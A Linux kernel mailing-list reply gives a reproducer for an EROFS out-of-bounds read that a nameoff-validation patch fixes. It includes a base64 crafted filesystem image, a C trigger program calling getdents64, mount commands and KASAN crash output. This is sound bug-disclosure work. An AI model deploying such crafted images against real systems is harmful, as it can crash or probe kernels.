Re: [PATCH] erofs: validate nameoff for all dirents in erofs_fill_dentries()

Junrui Luo <[email protected]>
Newsgroups org.ozlabs.lists.linux-erofs,org.kernel.vger.linux-kernel,org.kernel.vger.stable
Message-ID <[email protected]>
Here is a reproducer for the issue fixed by this patch.

Creates a 3-block (12KB) minimal EROFS image:
- Block 0: superblock
- Block 1: two compact inodes (root dir + dummy file)
- Block 2: directory data with 4 dirents

  de[0]: nameoff=48  FT_DIR "."
  de[1]: nameoff=49  FT_DIR ".."
  de[2]: nameoff=51  FT_REG "f1"
  de[3]: nameoff=0xFFFF FT_REG

Reproducible image (base64-encoded gzipped blob):

H4sIALRA3mkCA+3XwQmDQBAF0HW95mAlSyQVpJn0YS8Wpt5z9GwGwkICNqC+BwOfZU//NJMScFXL
vE4132Lyzp82plEVAACcwvsZW3/3zXln1x+H/5esMgAAADik+89V30euF/8jUs3b1qRSyqtXFwAA
ABzKB5GqxlwAMAAA

Trigger

```
  #define _GNU_SOURCE
  #include <fcntl.h>
  #include <stdio.h>
  #include <unistd.h>
  #include <errno.h>
  #include <sys/syscall.h>

  int main(int argc, char *argv[]) {
      const char *p = argc > 1 ? argv[1] : "/mnt";
      char buf[4096];
      int fd = open(p, O_RDONLY | O_DIRECTORY);
      if (fd < 0) { perror("open"); return 1; }

      /* skip to de[3] at byte 36 */
      lseek(fd, 36, SEEK_SET);
      int n = syscall(SYS_getdents64, fd, buf, sizeof(buf));
      printf("getdents64=%d errno=%d\n", n, errno);
      close(fd);
  }
```
	
$ gcc -static -o trigger trigger.c
$ mount -t erofs -o loop image.erofs /mnt
$ ./trigger /mnt

output (kernel 7.0-rc6, CONFIG_KASAN=y):

  BUG: KASAN: slab-out-of-bounds in strnlen+0x74/0x80
  Read of size 1 at addr ffff888008828fff by task trigger/76
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.